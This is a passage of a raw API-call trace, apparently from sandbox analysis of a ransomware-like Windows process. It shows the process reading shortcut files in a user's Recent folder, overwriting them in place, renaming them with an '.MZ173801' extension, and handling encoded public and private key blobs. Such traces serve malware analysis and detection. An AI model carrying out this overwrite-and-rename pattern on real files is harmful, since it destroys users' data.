(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D7yD06jADs4bzbO.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\d7yd06jads4bzbo.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.533] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.533] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.533] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2a6 [0147.533] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.533] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2a6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2a6, lpOverlapped=0x0) returned 1 [0147.534] CloseHandle (hObject=0x280) returned 1 [0147.534] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D7yD06jADs4bzbO.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\d7yd06jads4bzbo.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.535] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2a6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2a6, lpOverlapped=0x0) returned 1 [0147.536] CloseHandle (hObject=0x280) returned 1 [0147.537] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D7yD06jADs4bzbO.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\d7yd06jads4bzbo.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D7yD06jADs4bzbO.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\d7yd06jads4bzbo.lnk.mz173801")) returned 1 [0147.537] GetCurrentThreadId () returned 0xab4 [0147.537] GetCurrentThreadId () returned 0xab4 [0147.537] GetCurrentThreadId () returned 0xab4 [0147.537] GetCurrentThreadId () returned 0xab4 [0147.537] GetCurrentThreadId () returned 0xab4 [0147.537] GetCurrentThreadId () returned 0xab4 [0147.537] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x44111bf3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44111bf3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0147.537] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.537] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.537] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf33e61c0, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf33e61c0, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf33e61c0, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Dzl1T_E T7Ch1n.lnk", cAlternateFileName="DZL1T_~1.LNK")) returned 1 [0147.537] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.538] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.538] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dzl1T_E T7Ch1n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dzl1t_e t7ch1n.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf33e61c0, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf33e61c0, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf33e61c0, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x500)) returned 1 [0147.538] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dzl1T_E T7Ch1n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dzl1t_e t7ch1n.lnk")) returned 0x20 [0147.538] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dzl1T_E T7Ch1n.lnk", dwFileAttributes=0x80) returned 1 [0147.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.541] GetCurrentThreadId () returned 0xab4 [0147.541] GetCurrentThreadId () returned 0xab4 [0147.541] GetCurrentThreadId () returned 0xab4 [0147.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.542] GetCurrentThreadId () returned 0xab4 [0147.542] GetCurrentThreadId () returned 0xab4 [0147.542] GetCurrentThreadId () returned 0xab4 [0147.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dzl1T_E T7Ch1n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dzl1t_e t7ch1n.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.542] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.543] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.543] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x500 [0147.543] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.543] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x500, lpOverlapped=0x0) returned 1 [0147.544] CloseHandle (hObject=0x280) returned 1 [0147.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dzl1T_E T7Ch1n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dzl1t_e t7ch1n.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.550] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x500, lpOverlapped=0x0) returned 1 [0147.551] CloseHandle (hObject=0x280) returned 1 [0147.552] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dzl1T_E T7Ch1n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dzl1t_e t7ch1n.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dzl1T_E T7Ch1n.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dzl1t_e t7ch1n.lnk.mz173801")) returned 1 [0147.552] GetCurrentThreadId () returned 0xab4 [0147.552] GetCurrentThreadId () returned 0xab4 [0147.552] GetCurrentThreadId () returned 0xab4 [0147.552] GetCurrentThreadId () returned 0xab4 [0147.552] GetCurrentThreadId () returned 0xab4 [0147.552] GetCurrentThreadId () returned 0xab4 [0147.552] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1219983, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1219983, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1219983, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="EdrNe.lnk", cAlternateFileName="")) returned 1 [0147.552] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, 